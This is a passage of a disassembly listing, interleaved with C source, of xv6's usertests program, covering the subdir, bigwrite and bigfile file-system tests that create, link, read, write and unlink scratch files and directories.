1e94: c7 04 24 ac 4a 00 00 movl $0x4aac,(%esp)
1e9b: e8 b8 1d 00 00 call 3c58 <unlink>
1ea0: 85 c0 test %eax,%eax
1ea2: 74 19 je 1ebd <subdir+0x23a>
printf(1, "unlink dd/dd/ff failed\n");
1ea4: c7 44 24 04 3d 4b 00 movl $0x4b3d,0x4(%esp)
1eab: 00
1eac: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1eb3: e8 e0 1e 00 00 call 3d98 <printf>
exit();
1eb8: e8 4b 1d 00 00 call 3c08 <exit>
}
if(open("dd/dd/ff", O_RDONLY) >= 0){
1ebd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1ec4: 00
1ec5: c7 04 24 ac 4a 00 00 movl $0x4aac,(%esp)
1ecc: e8 77 1d 00 00 call 3c48 <open>
1ed1: 85 c0 test %eax,%eax
1ed3: 78 19 js 1eee <subdir+0x26b>
printf(1, "open (unlinked) dd/dd/ff succeeded\n");
1ed5: c7 44 24 04 58 4b 00 movl $0x4b58,0x4(%esp)
1edc: 00
1edd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ee4: e8 af 1e 00 00 call 3d98 <printf>
exit();
1ee9: e8 1a 1d 00 00 call 3c08 <exit>
}
if(chdir("dd") != 0){
1eee: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
1ef5: e8 7e 1d 00 00 call 3c78 <chdir>
1efa: 85 c0 test %eax,%eax
1efc: 74 19 je 1f17 <subdir+0x294>
printf(1, "chdir dd failed\n");
1efe: c7 44 24 04 7c 4b 00 movl $0x4b7c,0x4(%esp)
1f05: 00
1f06: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f0d: e8 86 1e 00 00 call 3d98 <printf>
exit();
1f12: e8 f1 1c 00 00 call 3c08 <exit>
}
if(chdir("dd/../../dd") != 0){
1f17: c7 04 24 8d 4b 00 00 movl $0x4b8d,(%esp)
1f1e: e8 55 1d 00 00 call 3c78 <chdir>
1f23: 85 c0 test %eax,%eax
1f25: 74 19 je 1f40 <subdir+0x2bd>
printf(1, "chdir dd/../../dd failed\n");
1f27: c7 44 24 04 99 4b 00 movl $0x4b99,0x4(%esp)
1f2e: 00
1f2f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f36: e8 5d 1e 00 00 call 3d98 <printf>
exit();
1f3b: e8 c8 1c 00 00 call 3c08 <exit>
}
if(chdir("dd/../../../dd") != 0){
1f40: c7 04 24 b3 4b 00 00 movl $0x4bb3,(%esp)
1f47: e8 2c 1d 00 00 call 3c78 <chdir>
1f4c: 85 c0 test %eax,%eax
1f4e: 74 19 je 1f69 <subdir+0x2e6>
printf(1, "chdir dd/../../dd failed\n");
1f50: c7 44 24 04 99 4b 00 movl $0x4b99,0x4(%esp)
1f57: 00
1f58: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f5f: e8 34 1e 00 00 call 3d98 <printf>
exit();
1f64: e8 9f 1c 00 00 call 3c08 <exit>
}
if(chdir("./..") != 0){
1f69: c7 04 24 c2 4b 00 00 movl $0x4bc2,(%esp)
1f70: e8 03 1d 00 00 call 3c78 <chdir>
1f75: 85 c0 test %eax,%eax
1f77: 74 19 je 1f92 <subdir+0x30f>
printf(1, "chdir ./.. failed\n");
1f79: c7 44 24 04 c7 4b 00 movl $0x4bc7,0x4(%esp)
1f80: 00
1f81: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1f88: e8 0b 1e 00 00 call 3d98 <printf>
exit();
1f8d: e8 76 1c 00 00 call 3c08 <exit>
}
fd = open("dd/dd/ffff", 0);
1f92: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1f99: 00
1f9a: c7 04 24 10 4b 00 00 movl $0x4b10,(%esp)
1fa1: e8 a2 1c 00 00 call 3c48 <open>
1fa6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1fa9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1fad: 79 19 jns 1fc8 <subdir+0x345>
printf(1, "open dd/dd/ffff failed\n");
1faf: c7 44 24 04 da 4b 00 movl $0x4bda,0x4(%esp)
1fb6: 00
1fb7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1fbe: e8 d5 1d 00 00 call 3d98 <printf>
exit();
1fc3: e8 40 1c 00 00 call 3c08 <exit>
}
if(read(fd, buf, sizeof(buf)) != 2){
1fc8: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1fcf: 00
1fd0: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
1fd7: 00
1fd8: 8b 45 f4 mov -0xc(%ebp),%eax
1fdb: 89 04 24 mov %eax,(%esp)
1fde: e8 3d 1c 00 00 call 3c20 <read>
1fe3: 83 f8 02 cmp $0x2,%eax
1fe6: 74 19 je 2001 <subdir+0x37e>
printf(1, "read dd/dd/ffff wrong len\n");
1fe8: c7 44 24 04 f2 4b 00 movl $0x4bf2,0x4(%esp)
1fef: 00
1ff0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ff7: e8 9c 1d 00 00 call 3d98 <printf>
exit();
1ffc: e8 07 1c 00 00 call 3c08 <exit>
}
close(fd);
2001: 8b 45 f4 mov -0xc(%ebp),%eax
2004: 89 04 24 mov %eax,(%esp)
2007: e8 24 1c 00 00 call 3c30 <close>
if(open("dd/dd/ff", O_RDONLY) >= 0){
200c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2013: 00
2014: c7 04 24 ac 4a 00 00 movl $0x4aac,(%esp)
201b: e8 28 1c 00 00 call 3c48 <open>
2020: 85 c0 test %eax,%eax
2022: 78 19 js 203d <subdir+0x3ba>
printf(1, "open (unlinked) dd/dd/ff succeeded!\n");
2024: c7 44 24 04 10 4c 00 movl $0x4c10,0x4(%esp)
202b: 00
202c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2033: e8 60 1d 00 00 call 3d98 <printf>
exit();
2038: e8 cb 1b 00 00 call 3c08 <exit>
}
if(open("dd/ff/ff", O_CREATE|O_RDWR) >= 0){
203d: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2044: 00
2045: c7 04 24 35 4c 00 00 movl $0x4c35,(%esp)
204c: e8 f7 1b 00 00 call 3c48 <open>
2051: 85 c0 test %eax,%eax
2053: 78 19 js 206e <subdir+0x3eb>
printf(1, "create dd/ff/ff succeeded!\n");
2055: c7 44 24 04 3e 4c 00 movl $0x4c3e,0x4(%esp)
205c: 00
205d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2064: e8 2f 1d 00 00 call 3d98 <printf>
exit();
2069: e8 9a 1b 00 00 call 3c08 <exit>
}
if(open("dd/xx/ff", O_CREATE|O_RDWR) >= 0){
206e: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2075: 00
2076: c7 04 24 5a 4c 00 00 movl $0x4c5a,(%esp)
207d: e8 c6 1b 00 00 call 3c48 <open>
2082: 85 c0 test %eax,%eax
2084: 78 19 js 209f <subdir+0x41c>
printf(1, "create dd/xx/ff succeeded!\n");
2086: c7 44 24 04 63 4c 00 movl $0x4c63,0x4(%esp)
208d: 00
208e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2095: e8 fe 1c 00 00 call 3d98 <printf>
exit();
209a: e8 69 1b 00 00 call 3c08 <exit>
}
if(open("dd", O_CREATE) >= 0){
209f: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
20a6: 00
20a7: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
20ae: e8 95 1b 00 00 call 3c48 <open>
20b3: 85 c0 test %eax,%eax
20b5: 78 19 js 20d0 <subdir+0x44d>
printf(1, "create dd succeeded!\n");
20b7: c7 44 24 04 7f 4c 00 movl $0x4c7f,0x4(%esp)
20be: 00
20bf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
20c6: e8 cd 1c 00 00 call 3d98 <printf>
exit();
20cb: e8 38 1b 00 00 call 3c08 <exit>
}
if(open("dd", O_RDWR) >= 0){
20d0: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
20d7: 00
20d8: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
20df: e8 64 1b 00 00 call 3c48 <open>
20e4: 85 c0 test %eax,%eax
20e6: 78 19 js 2101 <subdir+0x47e>
printf(1, "open dd rdwr succeeded!\n");
20e8: c7 44 24 04 95 4c 00 movl $0x4c95,0x4(%esp)
20ef: 00
20f0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
20f7: e8 9c 1c 00 00 call 3d98 <printf>
exit();
20fc: e8 07 1b 00 00 call 3c08 <exit>
}
if(open("dd", O_WRONLY) >= 0){
2101: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
2108: 00
2109: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
2110: e8 33 1b 00 00 call 3c48 <open>
2115: 85 c0 test %eax,%eax
2117: 78 19 js 2132 <subdir+0x4af>
printf(1, "open dd wronly succeeded!\n");
2119: c7 44 24 04 ae 4c 00 movl $0x4cae,0x4(%esp)
2120: 00
2121: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2128: e8 6b 1c 00 00 call 3d98 <printf>
exit();
212d: e8 d6 1a 00 00 call 3c08 <exit>
}
if(link("dd/ff/ff", "dd/dd/xx") == 0){
2132: c7 44 24 04 c9 4c 00 movl $0x4cc9,0x4(%esp)
2139: 00
213a: c7 04 24 35 4c 00 00 movl $0x4c35,(%esp)
2141: e8 22 1b 00 00 call 3c68 <link>
2146: 85 c0 test %eax,%eax
2148: 75 19 jne 2163 <subdir+0x4e0>
printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n");
214a: c7 44 24 04 d4 4c 00 movl $0x4cd4,0x4(%esp)
2151: 00
2152: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2159: e8 3a 1c 00 00 call 3d98 <printf>
exit();
215e: e8 a5 1a 00 00 call 3c08 <exit>
}
if(link("dd/xx/ff", "dd/dd/xx") == 0){
2163: c7 44 24 04 c9 4c 00 movl $0x4cc9,0x4(%esp)
216a: 00
216b: c7 04 24 5a 4c 00 00 movl $0x4c5a,(%esp)
2172: e8 f1 1a 00 00 call 3c68 <link>
2177: 85 c0 test %eax,%eax
2179: 75 19 jne 2194 <subdir+0x511>
printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n");
217b: c7 44 24 04 f8 4c 00 movl $0x4cf8,0x4(%esp)
2182: 00
2183: c7 04 24 01 00 00 00 movl $0x1,(%esp)
218a: e8 09 1c 00 00 call 3d98 <printf>
exit();
218f: e8 74 1a 00 00 call 3c08 <exit>
}
if(link("dd/ff", "dd/dd/ffff") == 0){
2194: c7 44 24 04 10 4b 00 movl $0x4b10,0x4(%esp)
219b: 00
219c: c7 04 24 48 4a 00 00 movl $0x4a48,(%esp)
21a3: e8 c0 1a 00 00 call 3c68 <link>
21a8: 85 c0 test %eax,%eax
21aa: 75 19 jne 21c5 <subdir+0x542>
printf(1, "link dd/ff dd/dd/ffff succeeded!\n");
21ac: c7 44 24 04 1c 4d 00 movl $0x4d1c,0x4(%esp)
21b3: 00
21b4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
21bb: e8 d8 1b 00 00 call 3d98 <printf>
exit();
21c0: e8 43 1a 00 00 call 3c08 <exit>
}
if(mkdir("dd/ff/ff") == 0){
21c5: c7 04 24 35 4c 00 00 movl $0x4c35,(%esp)
21cc: e8 9f 1a 00 00 call 3c70 <mkdir>
21d1: 85 c0 test %eax,%eax
21d3: 75 19 jne 21ee <subdir+0x56b>
printf(1, "mkdir dd/ff/ff succeeded!\n");
21d5: c7 44 24 04 3e 4d 00 movl $0x4d3e,0x4(%esp)
21dc: 00
21dd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
21e4: e8 af 1b 00 00 call 3d98 <printf>
exit();
21e9: e8 1a 1a 00 00 call 3c08 <exit>
}
if(mkdir("dd/xx/ff") == 0){
21ee: c7 04 24 5a 4c 00 00 movl $0x4c5a,(%esp)
21f5: e8 76 1a 00 00 call 3c70 <mkdir>
21fa: 85 c0 test %eax,%eax
21fc: 75 19 jne 2217 <subdir+0x594>
printf(1, "mkdir dd/xx/ff succeeded!\n");
21fe: c7 44 24 04 59 4d 00 movl $0x4d59,0x4(%esp)
2205: 00
2206: c7 04 24 01 00 00 00 movl $0x1,(%esp)
220d: e8 86 1b 00 00 call 3d98 <printf>
exit();
2212: e8 f1 19 00 00 call 3c08 <exit>
}
if(mkdir("dd/dd/ffff") == 0){
2217: c7 04 24 10 4b 00 00 movl $0x4b10,(%esp)
221e: e8 4d 1a 00 00 call 3c70 <mkdir>
2223: 85 c0 test %eax,%eax
2225: 75 19 jne 2240 <subdir+0x5bd>
printf(1, "mkdir dd/dd/ffff succeeded!\n");
2227: c7 44 24 04 74 4d 00 movl $0x4d74,0x4(%esp)
222e: 00
222f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2236: e8 5d 1b 00 00 call 3d98 <printf>
exit();
223b: e8 c8 19 00 00 call 3c08 <exit>
}
if(unlink("dd/xx/ff") == 0){
2240: c7 04 24 5a 4c 00 00 movl $0x4c5a,(%esp)
2247: e8 0c 1a 00 00 call 3c58 <unlink>
224c: 85 c0 test %eax,%eax
224e: 75 19 jne 2269 <subdir+0x5e6>
printf(1, "unlink dd/xx/ff succeeded!\n");
2250: c7 44 24 04 91 4d 00 movl $0x4d91,0x4(%esp)
2257: 00
2258: c7 04 24 01 00 00 00 movl $0x1,(%esp)
225f: e8 34 1b 00 00 call 3d98 <printf>
exit();
2264: e8 9f 19 00 00 call 3c08 <exit>
}
if(unlink("dd/ff/ff") == 0){
2269: c7 04 24 35 4c 00 00 movl $0x4c35,(%esp)
2270: e8 e3 19 00 00 call 3c58 <unlink>
2275: 85 c0 test %eax,%eax
2277: 75 19 jne 2292 <subdir+0x60f>
printf(1, "unlink dd/ff/ff succeeded!\n");
2279: c7 44 24 04 ad 4d 00 movl $0x4dad,0x4(%esp)
2280: 00
2281: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2288: e8 0b 1b 00 00 call 3d98 <printf>
exit();
228d: e8 76 19 00 00 call 3c08 <exit>
}
if(chdir("dd/ff") == 0){
2292: c7 04 24 48 4a 00 00 movl $0x4a48,(%esp)
2299: e8 da 19 00 00 call 3c78 <chdir>
229e: 85 c0 test %eax,%eax
22a0: 75 19 jne 22bb <subdir+0x638>
printf(1, "chdir dd/ff succeeded!\n");
22a2: c7 44 24 04 c9 4d 00 movl $0x4dc9,0x4(%esp)
22a9: 00
22aa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
22b1: e8 e2 1a 00 00 call 3d98 <printf>
exit();
22b6: e8 4d 19 00 00 call 3c08 <exit>
}
if(chdir("dd/xx") == 0){
22bb: c7 04 24 e1 4d 00 00 movl $0x4de1,(%esp)
22c2: e8 b1 19 00 00 call 3c78 <chdir>
22c7: 85 c0 test %eax,%eax
22c9: 75 19 jne 22e4 <subdir+0x661>
printf(1, "chdir dd/xx succeeded!\n");
22cb: c7 44 24 04 e7 4d 00 movl $0x4de7,0x4(%esp)
22d2: 00
22d3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
22da: e8 b9 1a 00 00 call 3d98 <printf>
exit();
22df: e8 24 19 00 00 call 3c08 <exit>
}
if(unlink("dd/dd/ffff") != 0){
22e4: c7 04 24 10 4b 00 00 movl $0x4b10,(%esp)
22eb: e8 68 19 00 00 call 3c58 <unlink>
22f0: 85 c0 test %eax,%eax
22f2: 74 19 je 230d <subdir+0x68a>
printf(1, "unlink dd/dd/ff failed\n");
22f4: c7 44 24 04 3d 4b 00 movl $0x4b3d,0x4(%esp)
22fb: 00
22fc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2303: e8 90 1a 00 00 call 3d98 <printf>
exit();
2308: e8 fb 18 00 00 call 3c08 <exit>
}
if(unlink("dd/ff") != 0){
230d: c7 04 24 48 4a 00 00 movl $0x4a48,(%esp)
2314: e8 3f 19 00 00 call 3c58 <unlink>
2319: 85 c0 test %eax,%eax
231b: 74 19 je 2336 <subdir+0x6b3>
printf(1, "unlink dd/ff failed\n");
231d: c7 44 24 04 ff 4d 00 movl $0x4dff,0x4(%esp)
2324: 00
2325: c7 04 24 01 00 00 00 movl $0x1,(%esp)
232c: e8 67 1a 00 00 call 3d98 <printf>
exit();
2331: e8 d2 18 00 00 call 3c08 <exit>
}
if(unlink("dd") == 0){
2336: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
233d: e8 16 19 00 00 call 3c58 <unlink>
2342: 85 c0 test %eax,%eax
2344: 75 19 jne 235f <subdir+0x6dc>
printf(1, "unlink non-empty dd succeeded!\n");
2346: c7 44 24 04 14 4e 00 movl $0x4e14,0x4(%esp)
234d: 00
234e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2355: e8 3e 1a 00 00 call 3d98 <printf>
exit();
235a: e8 a9 18 00 00 call 3c08 <exit>
}
if(unlink("dd/dd") < 0){
235f: c7 04 24 34 4e 00 00 movl $0x4e34,(%esp)
2366: e8 ed 18 00 00 call 3c58 <unlink>
236b: 85 c0 test %eax,%eax
236d: 79 19 jns 2388 <subdir+0x705>
printf(1, "unlink dd/dd failed\n");
236f: c7 44 24 04 3a 4e 00 movl $0x4e3a,0x4(%esp)
2376: 00
2377: c7 04 24 01 00 00 00 movl $0x1,(%esp)
237e: e8 15 1a 00 00 call 3d98 <printf>
exit();
2383: e8 80 18 00 00 call 3c08 <exit>
}
if(unlink("dd") < 0){
2388: c7 04 24 2d 4a 00 00 movl $0x4a2d,(%esp)
238f: e8 c4 18 00 00 call 3c58 <unlink>
2394: 85 c0 test %eax,%eax
2396: 79 19 jns 23b1 <subdir+0x72e>
printf(1, "unlink dd failed\n");
2398: c7 44 24 04 4f 4e 00 movl $0x4e4f,0x4(%esp)
239f: 00
23a0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23a7: e8 ec 19 00 00 call 3d98 <printf>
exit();
23ac: e8 57 18 00 00 call 3c08 <exit>
}
printf(1, "subdir ok\n");
23b1: c7 44 24 04 61 4e 00 movl $0x4e61,0x4(%esp)
23b8: 00
23b9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23c0: e8 d3 19 00 00 call 3d98 <printf>
}
23c5: c9 leave
23c6: c3 ret
000023c7 <bigwrite>:
// test writes that are larger than the log.
void
bigwrite(void)
{
23c7: 55 push %ebp
23c8: 89 e5 mov %esp,%ebp
23ca: 83 ec 28 sub $0x28,%esp
int fd, sz;
printf(1, "bigwrite test\n");
23cd: c7 44 24 04 6c 4e 00 movl $0x4e6c,0x4(%esp)
23d4: 00
23d5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
23dc: e8 b7 19 00 00 call 3d98 <printf>
unlink("bigwrite");
23e1: c7 04 24 7b 4e 00 00 movl $0x4e7b,(%esp)
23e8: e8 6b 18 00 00 call 3c58 <unlink>
for(sz = 499; sz < 12*512; sz += 471){
23ed: c7 45 f4 f3 01 00 00 movl $0x1f3,-0xc(%ebp)
23f4: e9 b2 00 00 00 jmp 24ab <bigwrite+0xe4>
fd = open("bigwrite", O_CREATE | O_RDWR);
23f9: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
2400: 00
2401: c7 04 24 7b 4e 00 00 movl $0x4e7b,(%esp)
2408: e8 3b 18 00 00 call 3c48 <open>
240d: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
2410: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
2414: 79 19 jns 242f <bigwrite+0x68>
printf(1, "cannot create bigwrite\n");
2416: c7 44 24 04 84 4e 00 movl $0x4e84,0x4(%esp)
241d: 00
241e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2425: e8 6e 19 00 00 call 3d98 <printf>
exit();
242a: e8 d9 17 00 00 call 3c08 <exit>
}
int i;
for(i = 0; i < 2; i++){
242f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
2436: eb 4f jmp 2487 <bigwrite+0xc0>
int cc = write(fd, buf, sz);
2438: 8b 45 f4 mov -0xc(%ebp),%eax
243b: 89 44 24 08 mov %eax,0x8(%esp)
243f: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
2446: 00
2447: 8b 45 ec mov -0x14(%ebp),%eax
244a: 89 04 24 mov %eax,(%esp)
244d: e8 d6 17 00 00 call 3c28 <write>
2452: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc != sz){
2455: 8b 45 e8 mov -0x18(%ebp),%eax
2458: 3b 45 f4 cmp -0xc(%ebp),%eax
245b: 74 27 je 2484 <bigwrite+0xbd>
printf(1, "write(%d) ret %d\n", sz, cc);
245d: 8b 45 e8 mov -0x18(%ebp),%eax
2460: 89 44 24 0c mov %eax,0xc(%esp)
2464: 8b 45 f4 mov -0xc(%ebp),%eax
2467: 89 44 24 08 mov %eax,0x8(%esp)
246b: c7 44 24 04 9c 4e 00 movl $0x4e9c,0x4(%esp)
2472: 00
2473: c7 04 24 01 00 00 00 movl $0x1,(%esp)
247a: e8 19 19 00 00 call 3d98 <printf>
exit();
247f: e8 84 17 00 00 call 3c08 <exit>
if(fd < 0){
printf(1, "cannot create bigwrite\n");
exit();
}
int i;
for(i = 0; i < 2; i++){
2484: ff 45 f0 incl -0x10(%ebp)
2487: 83 7d f0 01 cmpl $0x1,-0x10(%ebp)
248b: 7e ab jle 2438 <bigwrite+0x71>
if(cc != sz){
printf(1, "write(%d) ret %d\n", sz, cc);
exit();
}
}
close(fd);
248d: 8b 45 ec mov -0x14(%ebp),%eax
2490: 89 04 24 mov %eax,(%esp)
2493: e8 98 17 00 00 call 3c30 <close>
unlink("bigwrite");
2498: c7 04 24 7b 4e 00 00 movl $0x4e7b,(%esp)
249f: e8 b4 17 00 00 call 3c58 <unlink>
int fd, sz;
printf(1, "bigwrite test\n");
unlink("bigwrite");
for(sz = 499; sz < 12*512; sz += 471){
24a4: 81 45 f4 d7 01 00 00 addl $0x1d7,-0xc(%ebp)
24ab: 81 7d f4 ff 17 00 00 cmpl $0x17ff,-0xc(%ebp)
24b2: 0f 8e 41 ff ff ff jle 23f9 <bigwrite+0x32>
}
close(fd);
unlink("bigwrite");
}
printf(1, "bigwrite ok\n");
24b8: c7 44 24 04 ae 4e 00 movl $0x4eae,0x4(%esp)
24bf: 00
24c0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24c7: e8 cc 18 00 00 call 3d98 <printf>
}
24cc: c9 leave
24cd: c3 ret
000024ce <bigfile>:
void
bigfile(void)
{
24ce: 55 push %ebp
24cf: 89 e5 mov %esp,%ebp
24d1: 83 ec 28 sub $0x28,%esp
int fd, i, total, cc;
printf(1, "bigfile test\n");
24d4: c7 44 24 04 bb 4e 00 movl $0x4ebb,0x4(%esp)
24db: 00
24dc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
24e3: e8 b0 18 00 00 call 3d98 <printf>
unlink("bigfile");
24e8: c7 04 24 c9 4e 00 00 movl $0x4ec9,(%esp)
24ef: e8 64 17 00 00 call 3c58 <unlink>
fd = open("bigfile", O_CREATE | O_RDWR);
24f4: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
24fb: 00
24fc: c7 04 24 c9 4e 00 00 movl $0x4ec9,(%esp)
2503: e8 40 17 00 00 call 3c48 <open>
2508: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
250b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
250f: 79 19 jns 252a <bigfile+0x5c>
printf(1, "cannot create bigfile");
2511: c7 44 24 04 d1 4e 00 movl $0x4ed1,0x4(%esp)
2518: 00
2519: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2520: e8 73 18 00 00 call 3d98 <printf>
exit();
2525: e8 de 16 00 00 call 3c08 <exit>
}
for(i = 0; i < 20; i++){
252a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2531: eb 59 jmp 258c <bigfile+0xbe>
memset(buf, i, 600);
2533: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
253a: 00
253b: 8b 45 f4 mov -0xc(%ebp),%eax
253e: 89 44 24 04 mov %eax,0x4(%esp)
2542: c7 04 24 a0 86 00 00 movl $0x86a0,(%esp)
2549: e8 22 15 00 00 call 3a70 <memset>
if(write(fd, buf, 600) != 600){
254e: c7 44 24 08 58 02 00 movl $0x258,0x8(%esp)
2555: 00
2556: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
255d: 00
255e: 8b 45 ec mov -0x14(%ebp),%eax
2561: 89 04 24 mov %eax,(%esp)
2564: e8 bf 16 00 00 call 3c28 <write>
2569: 3d 58 02 00 00 cmp $0x258,%eax
256e: 74 19 je 2589 <bigfile+0xbb>
printf(1, "write bigfile failed\n");
2570: c7 44 24 04 e7 4e 00 movl $0x4ee7,0x4(%esp)
2577: 00
2578: c7 04 24 01 00 00 00 movl $0x1,(%esp)
257f: e8 14 18 00 00 call 3d98 <printf>
exit();
2584: e8 7f 16 00 00 call 3c08 <exit>
fd = open("bigfile", O_CREATE | O_RDWR);
if(fd < 0){
printf(1, "cannot create bigfile");
exit();
}
for(i = 0; i < 20; i++){
2589: ff 45 f4 incl -0xc(%ebp)
258c: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
2590: 7e a1 jle 2533 <bigfile+0x65>
if(write(fd, buf, 600) != 600){
printf(1, "write bigfile failed\n");
exit();
}
}
close(fd);
2592: 8b 45 ec mov -0x14(%ebp),%eax
2595: 89 04 24 mov %eax,(%esp)
2598: e8 93 16 00 00 call 3c30 <close>
fd = open("bigfile", 0);
259d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
25a4: 00
25a5: c7 04 24 c9 4e 00 00 movl $0x4ec9,(%esp)
25ac: e8 97 16 00 00 call 3c48 <open>
25b1: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
25b4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
25b8: 79 19 jns 25d3 <bigfile+0x105>
printf(1, "cannot open bigfile\n");
25ba: c7 44 24 04 fd 4e 00 movl $0x4efd,0x4(%esp)
25c1: 00
25c2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25c9: e8 ca 17 00 00 call 3d98 <printf>
exit();
25ce: e8 35 16 00 00 call 3c08 <exit>
}
total = 0;
25d3: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(i = 0; ; i++){
25da: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
cc = read(fd, buf, 300);
25e1: c7 44 24 08 2c 01 00 movl $0x12c,0x8(%esp)
25e8: 00
25e9: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
25f0: 00
25f1: 8b 45 ec mov -0x14(%ebp),%eax
25f4: 89 04 24 mov %eax,(%esp)
25f7: e8 24 16 00 00 call 3c20 <read>
25fc: 89 45 e8 mov %eax,-0x18(%ebp)
if(cc < 0){
25ff: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
2603: 79 19 jns 261e <bigfile+0x150>
printf(1, "read bigfile failed\n");
2605: c7 44 24 04 12 4f 00 movl $0x4f12,0x4(%esp)
260c: 00
260d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2614: e8 7f 17 00 00 call 3d98 <printf>
exit();
2619: e8 ea 15 00 00 call 3c08 <exit>
}
if(cc == 0)
261e: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
2622: 74 79 je 269d <bigfile+0x1cf>
break;
if(cc != 300){
2624: 81 7d e8 2c 01 00 00 cmpl $0x12c,-0x18(%ebp)
262b: 74 19 je 2646 <bigfile+0x178>
printf(1, "short read bigfile\n");
262d: c7 44 24 04 27 4f 00 movl $0x4f27,0x4(%esp)
2634: 00
2635: c7 04 24 01 00 00 00 movl $0x1,(%esp)
263c: e8 57 17 00 00 call 3d98 <printf>
exit();
2641: e8 c2 15 00 00 call 3c08 <exit>
}
if(buf[0] != i/2 || buf[299] != i/2){
2646: a0 a0 86 00 00 mov 0x86a0,%al
264b: 0f be d0 movsbl %al,%edx
264e: 8b 45 f4 mov -0xc(%ebp),%eax
2651: 89 c1 mov %eax,%ecx
2653: c1 e9 1f shr $0x1f,%ecx
2656: 01 c8 add %ecx,%eax
2658: d1 f8 sar %eax
265a: 39 c2 cmp %eax,%edx
265c: 75 18 jne 2676 <bigfile+0x1a8>
265e: a0 cb 87 00 00 mov 0x87cb,%al
2663: 0f be d0 movsbl %al,%edx
2666: 8b 45 f4 mov -0xc(%ebp),%eax
2669: 89 c1 mov %eax,%ecx
266b: c1 e9 1f shr $0x1f,%ecx
266e: 01 c8 add %ecx,%eax
2670: d1 f8 sar %eax
2672: 39 c2 cmp %eax,%edx
2674: 74 19 je 268f <bigfile+0x1c1>
printf(1, "read bigfile wrong data\n");
2676: c7 44 24 04 3b 4f 00 movl $0x4f3b,0x4(%esp)
267d: 00
267e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2685: e8 0e 17 00 00 call 3d98 <printf>
exit();
268a: e8 79 15 00 00 call 3c08 <exit>
}
total += cc;
268f: 8b 45 e8 mov -0x18(%ebp),%eax
2692: 01 45 f0 add %eax,-0x10(%ebp)
if(fd < 0){
printf(1, "cannot open bigfile\n");
exit();
}
total = 0;
for(i = 0; ; i++){
2695: ff 45 f4 incl -0xc(%ebp)
if(buf[0] != i/2 || buf[299] != i/2){
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
2698: e9 44 ff ff ff jmp 25e1 <bigfile+0x113>
if(cc < 0){
printf(1, "read bigfile failed\n");
exit();
}
if(cc == 0)
break;
269d: 90 nop
printf(1, "read bigfile wrong data\n");
exit();
}
total += cc;
}
close(fd);
269e: 8b 45 ec mov -0x14(%ebp),%eax
